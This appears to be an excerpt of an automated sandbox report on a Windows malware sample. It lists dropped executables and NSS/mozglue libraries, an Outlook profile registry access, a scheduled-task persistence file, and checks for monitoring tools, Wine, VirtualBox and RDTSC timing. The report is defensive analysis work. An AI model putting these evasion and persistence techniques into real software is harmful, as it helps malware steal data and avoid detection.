Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2533376 > 1048576

Source: file.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x227400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1415438738.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.60000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Unpacked PE file: 17.2.IIEBGIDAAF.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 19.2.explorti.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 20.2.explorti.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 22.2.explorti.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Unpacked PE file: 23.2.dca3d29d0f.exe.5f0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 27.2.explorti.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 29.2.explorti.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 31.2.explorti.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rqnxqxgu:EW;iottqqkv:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CDA3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CDA3480

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.17.dr	Static PE information: real checksum: 0x1dc13a should be: 0x1dbf81
Source: dca3d29d0f.exe.20.dr	Static PE information: real checksum: 0x0 should be: 0x26cd9b
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0x26cd9b
Source: IIEBGIDAAF.exe.0.dr	Static PE information: real checksum: 0x1dc13a should be: 0x1dbf81
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1dc13a should be: 0x1dbf81
Source: random[1].exe.20.dr	Static PE information: real checksum: 0x0 should be: 0x26cd9b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name:
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name: .idata
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name:
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name: rqnxqxgu
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name: iottqqkv
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name: .taggant
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: rqnxqxgu
Source: amadka[1].exe.0.dr	Static PE information: section name: iottqqkv
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.17.dr	Static PE information: section name:
Source: explorti.exe.17.dr	Static PE information: section name: .idata
Source: explorti.exe.17.dr	Static PE information: section name:
Source: explorti.exe.17.dr	Static PE information: section name: rqnxqxgu
Source: explorti.exe.17.dr	Static PE information: section name: iottqqkv
Source: explorti.exe.17.dr	Static PE information: section name: .taggant
Source: random[1].exe.20.dr	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDB536 push ecx; ret		0_2_6CDDB549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00ECD82C push ecx; ret		20_2_00ECD83F

Source: file.exe	Static PE information: section name: entropy: 7.994679358899897
Source: file.exe	Static PE information: section name: entropy: 7.982552512053466
Source: file.exe	Static PE information: section name: entropy: 7.9548906843608895
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name: entropy: 7.984356609361141
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name: rqnxqxgu entropy: 7.954112032013173
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.984356609361141
Source: amadka[1].exe.0.dr	Static PE information: section name: rqnxqxgu entropy: 7.954112032013173
Source: explorti.exe.17.dr	Static PE information: section name: entropy: 7.984356609361141
Source: explorti.exe.17.dr	Static PE information: section name: rqnxqxgu entropy: 7.954112032013173
Source: random[1].exe.20.dr	Static PE information: section name: entropy: 7.994679358899897
Source: random[1].exe.20.dr	Static PE information: section name: entropy: 7.982552512053466
Source: random[1].exe.20.dr	Static PE information: section name: entropy: 7.9548906843608895
Source: dca3d29d0f.exe.20.dr	Static PE information: section name: entropy: 7.994679358899897
Source: dca3d29d0f.exe.20.dr	Static PE information: section name: entropy: 7.982552512053466
Source: dca3d29d0f.exe.20.dr	Static PE information: section name: entropy: 7.9548906843608895

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE055F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CE055F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\dca3d29d0f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 9BF2BF second address: 9BF2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B36C4E second address: B36C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B370C3 second address: B370DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F028C6C4570h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AD16 second address: B3AD1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AD1A second address: B3AD5E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jg 00007F028C6C457Bh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F028C6C4572h 0x0000001b jp 00007F028C6C4566h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AD5E second address: B3AD64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AD64 second address: B3AD68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AE4D second address: B3AE7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F028D150D2Bh 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 mov esi, dword ptr [ebp+122D2AEAh] 0x0000001a pop ecx 0x0000001b push 6A495DE0h 0x00000020 pushad 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AE7F second address: B3AE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AE89 second address: B3AECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 6A495D60h 0x0000000d sub dword ptr [ebp+122D1BBCh], esi 0x00000013 push 00000003h 0x00000015 stc 0x00000016 push 00000000h 0x00000018 jbe 00007F028D150D2Eh 0x0000001e push 00000003h 0x00000020 mov edx, dword ptr [ebp+122D28F2h] 0x00000026 push 9E02E473h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F028D150D2Dh 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: B3AECB second address: B3AED0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
